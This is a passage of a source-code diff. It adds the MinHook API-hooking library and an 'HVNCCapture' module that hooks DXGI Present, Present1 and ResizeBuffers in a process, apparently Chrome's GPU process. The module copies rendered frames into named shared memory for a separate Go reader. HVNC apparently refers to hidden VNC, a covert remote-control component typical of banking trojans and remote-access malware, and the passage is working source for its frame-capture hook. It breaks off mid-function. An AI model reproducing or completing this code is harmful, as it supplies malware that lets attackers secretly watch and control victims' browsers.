||||
jcc.opcode1 = 0x80 | cond;
|
||||
jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc)));
|
||||
#endif
|
||||
pCopySrc = &jcc;
|
||||
copySize = sizeof(jcc);
|
||||
}
|
||||
}
|
||||
else if ((hs.opcode & 0xFE) == 0xC2)
|
||||
{
|
||||
// RET (C2 or C3)
|
||||
|
||||
// Complete the function if not in a branch.
|
||||
finished = (pOldInst >= jmpDest);
|
||||
}
|
||||
|
||||
// Can't alter the instruction length in a branch.
|
||||
if (pOldInst < jmpDest && copySize != hs.len)
|
||||
return FALSE;
|
||||
|
||||
// Trampoline function is too large.
|
||||
if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
|
||||
return FALSE;
|
||||
|
||||
// Trampoline function has too many instructions.
|
||||
if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
|
||||
return FALSE;
|
||||
|
||||
ct->oldIPs[ct->nIP] = oldPos;
|
||||
ct->newIPs[ct->nIP] = newPos;
|
||||
ct->nIP++;
|
||||
|
||||
// Avoid using memcpy to reduce the footprint.
|
||||
#ifndef ALLOW_INTRINSICS
|
||||
memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
|
||||
#else
|
||||
__movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize);
|
||||
#endif
|
||||
newPos += copySize;
|
||||
oldPos += hs.len;
|
||||
} while (!finished);
|
||||
|
||||
// Is there enough place for a long jump?
|
||||
if (oldPos < sizeof(JMP_REL)
|
||||
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
|
||||
{
|
||||
// Is there enough place for a short jump?
|
||||
if (oldPos < sizeof(JMP_REL_SHORT)
|
||||
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Can we place the long jump above the function?
|
||||
if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
|
||||
return FALSE;
|
||||
|
||||
if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
|
||||
return FALSE;
|
||||
|
||||
ct->patchAbove = TRUE;
|
||||
}
|
||||
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
// Create a relay function.
|
||||
jmp.address = (ULONG_PTR)ct->pDetour;
|
||||
|
||||
ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
|
||||
memcpy(ct->pRelay, &jmp, sizeof(jmp));
|
||||
#endif
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#pragma pack(push, 1)
|
||||
|
||||
// Structs for writing x86/x64 instructions.
|
||||
|
||||
// 8-bit relative jump.
|
||||
typedef struct _JMP_REL_SHORT
|
||||
{
|
||||
UINT8 opcode; // EB xx: JMP +2+xx
|
||||
INT8 operand; // Relative destination address
|
||||
} JMP_REL_SHORT, *PJMP_REL_SHORT;
|
||||
|
||||
// 32-bit direct relative jump/call.
|
||||
typedef struct _JMP_REL
|
||||
{
|
||||
UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
|
||||
INT32 operand; // Relative destination address
|
||||
} JMP_REL, *PJMP_REL, CALL_REL;
|
||||
|
||||
// 64-bit indirect absolute jump.
|
||||
typedef struct _JMP_ABS
|
||||
{
|
||||
UINT8 opcode0; // FF25 00000000: JMP [+6]
|
||||
UINT8 opcode1;
|
||||
UINT32 dummy;
|
||||
UINT64 address; // Absolute destination address
|
||||
} JMP_ABS, *PJMP_ABS;
|
||||
|
||||
// 64-bit indirect absolute call.
|
||||
typedef struct _CALL_ABS
|
||||
{
|
||||
UINT8 opcode0; // FF15 00000002: CALL [+6]
|
||||
UINT8 opcode1;
|
||||
UINT32 dummy0;
|
||||
UINT8 dummy1; // EB 08: JMP +10
|
||||
UINT8 dummy2;
|
||||
UINT64 address; // Absolute destination address
|
||||
} CALL_ABS;
|
||||
|
||||
// 32-bit direct relative conditional jumps.
|
||||
typedef struct _JCC_REL
|
||||
{
|
||||
UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
|
||||
UINT8 opcode1;
|
||||
INT32 operand; // Relative destination address
|
||||
} JCC_REL;
|
||||
|
||||
// 64bit indirect absolute conditional jumps that x64 lacks.
|
||||
typedef struct _JCC_ABS
|
||||
{
|
||||
UINT8 opcode; // 7* 0E: J** +16
|
||||
UINT8 dummy0;
|
||||
UINT8 dummy1; // FF25 00000000: JMP [+6]
|
||||
UINT8 dummy2;
|
||||
UINT32 dummy3;
|
||||
UINT64 address; // Absolute destination address
|
||||
} JCC_ABS;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
typedef struct _TRAMPOLINE
|
||||
{
|
||||
LPVOID pTarget; // [In] Address of the target function.
|
||||
LPVOID pDetour; // [In] Address of the detour function.
|
||||
LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
|
||||
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
LPVOID pRelay; // [Out] Address of the relay function.
|
||||
#endif
|
||||
BOOL patchAbove; // [Out] Should use the hot patch area?
|
||||
UINT nIP; // [Out] Number of the instruction boundaries.
|
||||
UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
|
||||
UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
|
||||
} TRAMPOLINE, *PTRAMPOLINE;
|
||||
|
||||
BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
|
||||
@@ -0,0 +1,630 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — DXGI SwapChain::Present hook implementation.
|
||||
//
|
||||
// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
|
||||
// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
|
||||
//
|
||||
// Strategy:
|
||||
// 1. Create a temporary D3D11 device + swapchain to get the vtable address
|
||||
// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22).
|
||||
// 2. Hook both via MinHook.
|
||||
// 3. On each Present call, use the swapchain's GetBuffer(0) to get the
|
||||
// backbuffer as an ID3D11Texture2D, copy it to a staging texture,
|
||||
// Map it, and write the BGRA pixels into the shared memory section.
|
||||
// 4. Signal the named event so the Go reader knows a frame is ready.
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <d3d11.h>
|
||||
#include <dxgi1_2.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "MinHook.h"
|
||||
#include "DXGICapture.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Forward declarations
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
|
||||
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
|
||||
typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
|
||||
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
|
||||
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Globals
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static PFN_Present g_OrigPresent = NULL;
|
||||
static PFN_Present1 g_OrigPresent1 = NULL;
|
||||
static PFN_ResizeBuffers g_OrigResizeBuffers = NULL;
|
||||
|
||||
// Staging resources — double-buffered to avoid blocking Map calls
|
||||
static ID3D11Device* g_Device = NULL;
|
||||
static ID3D11DeviceContext* g_Context = NULL;
|
||||
static ID3D11Texture2D* g_Staging[2] = {NULL, NULL};
|
||||
static UINT g_StagingW = 0;
|
||||
static UINT g_StagingH = 0;
|
||||
static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN;
|
||||
static UINT g_WriteIdx = 0; // CopyResource target index
|
||||
static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data
|
||||
|
||||
// Shared memory
|
||||
static HANDLE g_ShmHandle = NULL;
|
||||
static void* g_ShmView = NULL;
|
||||
static SIZE_T g_ShmSize = 0;
|
||||
static HANDLE g_FrameEvent = NULL;
|
||||
static UINT64 g_FrameSeq = 0;
|
||||
|
||||
// Frequency for timestamps
|
||||
static LARGE_INTEGER g_PerfFreq;
|
||||
|
||||
// Rate limiting — don't copy more than ~60 fps worth of frames
|
||||
static LARGE_INTEGER g_LastFrameTime;
|
||||
static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps
|
||||
|
||||
// Critical section for thread safety
|
||||
static CRITICAL_SECTION g_Lock;
|
||||
static BOOL g_LockInitialized = FALSE;
|
||||
|
||||
// Primary swap chain tracking — only capture the largest one in the GPU process
|
||||
static IDXGISwapChain* g_PrimarySwapChain = NULL;
|
||||
static UINT g_PrimaryArea = 0;
|
||||
static UINT g_PrimaryResetCounter = 0;
|
||||
|
||||
// Minimum backbuffer dimensions worth capturing (skip internal surfaces)
|
||||
#define MIN_CAPTURE_WIDTH 128
|
||||
#define MIN_CAPTURE_HEIGHT 128
|
||||
#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Helpers
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
#ifndef ENABLE_DEBUG_LOGGING
|
||||
#define ENABLE_DEBUG_LOGGING 1
|
||||
#endif
|
||||
|
||||
static void DebugLog(const char* fmt, ...) {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
vsnprintf(buf, sizeof(buf), fmt, args);
|
||||
va_end(args);
|
||||
OutputDebugStringA(buf);
|
||||
#else
|
||||
(void)fmt;
|
||||
#endif
|
||||
}
|
||||
|
||||
static UINT64 GetTimestampNs(void) {
|
||||
LARGE_INTEGER now;
|
||||
QueryPerformanceCounter(&now);
|
||||
return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart);
|
||||
}
|
||||
|
||||
static void BuildShmName(char* out, size_t outLen) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
|
||||
}
|
||||
|
||||
static void BuildEventName(char* out, size_t outLen) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Shared memory management
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL EnsureSharedMemory(UINT width, UINT height) {
|
||||
UINT stride = width * 4;
|
||||
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
|
||||
|
||||
if (g_ShmView && g_ShmSize >= needed) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
|
||||
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
|
||||
g_ShmSize = 0;
|
||||
|
||||
char shmName[128];
|
||||
BuildShmName(shmName, sizeof(shmName));
|
||||
|
||||
wchar_t wShmName[128];
|
||||
MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128);
|
||||
|
||||
DWORD sizeHigh = (DWORD)(needed >> 32);
|
||||
DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF);
|
||||
|
||||
g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
|
||||
if (!g_ShmHandle) {
|
||||
DebugLog("[HVNCCapture] CreateFileMappingW failed: %lu\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
|
||||
if (!g_ShmView) {
|
||||
DebugLog("[HVNCCapture] MapViewOfFile failed: %lu\n", GetLastError());
|
||||
CloseHandle(g_ShmHandle);
|
||||
g_ShmHandle = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_ShmSize = needed;
|
||||
|
||||
if (!g_FrameEvent) {
|
||||
char evtName[128];
|
||||
BuildEventName(evtName, sizeof(evtName));
|
||||
wchar_t wEvtName[128];
|
||||
MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128);
|
||||
g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
|
||||
}
|
||||
|
||||
DebugLog("[HVNCCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Staging texture management (double-buffered)
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) {
|
||||
if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
|
||||
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
|
||||
g_HasPrevFrame = FALSE;
|
||||
g_WriteIdx = 0;
|
||||
|
||||
// Normalise typeless formats to their UNORM equivalents for staging
|
||||
DXGI_FORMAT stageFmt = fmt;
|
||||
switch (fmt) {
|
||||
case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break;
|
||||
case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break;
|
||||
case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break;
|
||||
case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break;
|
||||
default: break;
|
||||
}
|
||||
|
||||
D3D11_TEXTURE2D_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.Width = width;
|
||||
desc.Height = height;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = stageFmt;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.SampleDesc.Quality = 0;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
desc.BindFlags = 0;
|
||||
desc.MiscFlags = 0;
|
||||
|
||||
HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
|
||||
if (FAILED(hr)) {
|
||||
DebugLog("[HVNCCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
|
||||
return FALSE;
|
||||
}
|
||||
hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
|
||||
if (FAILED(hr)) {
|
||||
DebugLog("[HVNCCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
|
||||
g_Staging[0]->Release(); g_Staging[0] = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
g_StagingW = width;
|
||||
g_StagingH = height;
|
||||
g_StagingFmt = fmt;
|
||||
DebugLog("[HVNCCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy?
|
||||
static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) {
|
||||
switch (fmt) {
|
||||
case DXGI_FORMAT_B8G8R8A8_UNORM:
|
||||
case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
|
||||
case DXGI_FORMAT_B8G8R8A8_TYPELESS:
|
||||
case DXGI_FORMAT_R8G8B8A8_UNORM:
|
||||
case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
|
||||
case DXGI_FORMAT_R8G8B8A8_TYPELESS:
|
||||
return TRUE;
|
||||
default:
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Core frame capture — called from Present hooks (SEH-protected)
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
|
||||
// Rate limit
|
||||
LARGE_INTEGER now;
|
||||
QueryPerformanceCounter(&now);
|
||||
LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart;
|
||||
if (elapsedUs < g_MinFrameIntervalUs) {
|
||||
return;
|
||||
}
|
||||
g_LastFrameTime = now;
|
||||
|
||||
// Get the backbuffer
|
||||
ID3D11Texture2D* backbuffer = NULL;
|
||||
HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer);
|
||||
if (FAILED(hr) || !backbuffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Get device/context from the backbuffer if not cached
|
||||
if (!g_Device) {
|
||||
((ID3D11Resource*)backbuffer)->GetDevice(&g_Device);
|
||||
if (g_Device) {
|
||||
g_Device->GetImmediateContext(&g_Context);
|
||||
}
|
||||
}
|
||||
|
||||
if (!g_Device || !g_Context) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
D3D11_TEXTURE2D_DESC bbDesc;
|
||||
backbuffer->GetDesc(&bbDesc);
|
||||
|
||||
UINT w = bbDesc.Width;
|
||||
UINT h = bbDesc.Height;
|
||||
|
||||
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// Skip tiny internal surfaces (tooltips, scrollbars, compositor layers)
|
||||
if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// Track the primary (largest) swap chain — Chrome GPU process serves many
|
||||
UINT area = w * h;
|
||||
g_PrimaryResetCounter++;
|
||||
if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) {
|
||||
g_PrimarySwapChain = NULL;
|
||||
g_PrimaryArea = 0;
|
||||
g_PrimaryResetCounter = 0;
|
||||
}
|
||||
if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) {
|
||||
g_PrimarySwapChain = pSwapChain;
|
||||
if (area > g_PrimaryArea) g_PrimaryArea = area;
|
||||
} else if (area > g_PrimaryArea) {
|
||||
g_PrimarySwapChain = pSwapChain;
|
||||
g_PrimaryArea = area;
|
||||
} else {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
// Only capture 32bpp BGRA/RGBA formats we can handle
|
||||
if (!IsCopyable32bpp(bbDesc.Format)) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!EnsureSharedMemory(w, h)) {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
|
||||
UINT writeIdx = g_WriteIdx;
|
||||
UINT readIdx = 1 - writeIdx;
|
||||
|
||||
// Copy backbuffer to the write staging texture (async GPU op, returns immediately)
|
||||
if (bbDesc.SampleDesc.Count > 1) {
|
||||
D3D11_TEXTURE2D_DESC resolveDesc = bbDesc;
|
||||
resolveDesc.SampleDesc.Count = 1;
|
||||
resolveDesc.SampleDesc.Quality = 0;
|
||||
resolveDesc.Usage = D3D11_USAGE_DEFAULT;
|
||||
resolveDesc.BindFlags = 0;
|
||||
resolveDesc.CPUAccessFlags = 0;
|
||||
resolveDesc.MiscFlags = 0;
|
||||
|
||||
ID3D11Texture2D* resolved = NULL;
|
||||
hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved);
|
||||
if (SUCCEEDED(hr) && resolved) {
|
||||
g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format);
|
||||
g_Context->CopyResource(g_Staging[writeIdx], resolved);
|
||||
resolved->Release();
|
||||
} else {
|
||||
backbuffer->Release();
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
g_Context->CopyResource(g_Staging[writeIdx], backbuffer);
|
||||
}
|
||||
|
||||
backbuffer->Release();
|
||||
|
||||
// Flip staging index for next frame
|
||||
g_WriteIdx = readIdx;
|
||||
|
||||
// On first frame, nothing to read yet
|
||||
if (!g_HasPrevFrame) {
|
||||
g_HasPrevFrame = TRUE;
|
||||
return;
|
||||
}
|
||||
|
||||
// Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped);
|
||||
if (hr == DXGI_ERROR_WAS_STILL_DRAWING) {
|
||||
return; // GPU hasn't finished the previous copy — skip
|
||||
}
|
||||
if (FAILED(hr)) {
|
||||
DebugLog("[HVNCCapture] Map failed: 0x%08x\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
UINT dstStride = w * 4;
|
||||
UINT srcPitch = mapped.RowPitch;
|
||||
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
|
||||
BYTE* src = (BYTE*)mapped.pData;
|
||||
|
||||
for (UINT y = 0; y < h; y++) {
|
||||
memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride);
|
||||
}
|
||||
|
||||
g_Context->Unmap(g_Staging[readIdx], 0);
|
||||
|
||||
// Write header (AFTER pixel data + barrier so reader sees consistent data)
|
||||
g_FrameSeq++;
|
||||
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
|
||||
hdr->magic = HVNC_FRAME_MAGIC;
|
||||
hdr->version = HVNC_FRAME_VERSION;
|
||||
hdr->width = w;
|
||||
hdr->height = h;
|
||||
hdr->stride = dstStride;
|
||||
hdr->format = (UINT32)bbDesc.Format;
|
||||
hdr->frameSeq = g_FrameSeq;
|
||||
hdr->timestampNs = GetTimestampNs();
|
||||
hdr->pid = GetCurrentProcessId();
|
||||
hdr->reserved = 0;
|
||||
|
||||
MemoryBarrier();
|
||||
|
||||
if (g_FrameEvent) {
|
||||
SetEvent(g_FrameEvent);
|
||||
}
|
||||
}
|
||||
|
||||
static void CaptureFrame(IDXGISwapChain* pSwapChain) {
|
||||
if (!g_LockInitialized) return;
|
||||
|
||||
if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock
|
||||
__try {
|
||||
CaptureFrameInner(pSwapChain);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
DebugLog("[HVNCCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
|
||||
GetExceptionCode());
|
||||
}
|
||||
LeaveCriticalSection(&g_Lock);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Hooked functions
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) {
|
||||
CaptureFrame(pSwapChain);
|
||||
return g_OrigPresent(pSwapChain, SyncInterval, Flags);
|
||||
}
|
||||
|
||||
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) {
|
||||
CaptureFrame((IDXGISwapChain*)pSwapChain);
|
||||
return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters);
|
||||
}
|
||||
|
||||
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) {
|
||||
EnterCriticalSection(&g_Lock);
|
||||
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
|
||||
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
|
||||
g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN;
|
||||
g_HasPrevFrame = FALSE; g_WriteIdx = 0;
|
||||
g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0;
|
||||
if (g_Context) { g_Context->Release(); g_Context = NULL; }
|
||||
if (g_Device) { g_Device->Release(); g_Device = NULL; }
|
||||
LeaveCriticalSection(&g_Lock);
|
||||
|
||||
return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags);
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// vtable discovery — create a dummy swapchain to get Present address
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) {
|
||||
*ppPresent = NULL;
|
||||
*ppPresent1 = NULL;
|
||||
*ppResizeBuffers = NULL;
|
||||
|
||||
HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
|
||||
if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
|
||||
if (!hD3D11) {
|
||||
DebugLog("[HVNCCapture] d3d11.dll not available\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)(
|
||||
IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*,
|
||||
UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**,
|
||||
D3D_FEATURE_LEVEL*, ID3D11DeviceContext**);
|
||||
|
||||
PFN_D3D11CreateDeviceAndSwapChain pCreate =
|
||||
(PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
|
||||
if (!pCreate) {
|
||||
DebugLog("[HVNCCapture] D3D11CreateDeviceAndSwapChain not found\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HWND hWnd = GetDesktopWindow();
|
||||
|
||||
DXGI_SWAP_CHAIN_DESC scd;
|
||||
ZeroMemory(&scd, sizeof(scd));
|
||||
scd.BufferCount = 1;
|
||||
scd.BufferDesc.Width = 2;
|
||||
scd.BufferDesc.Height = 2;
|
||||
scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
|
||||
scd.BufferDesc.RefreshRate.Numerator = 60;
|
||||
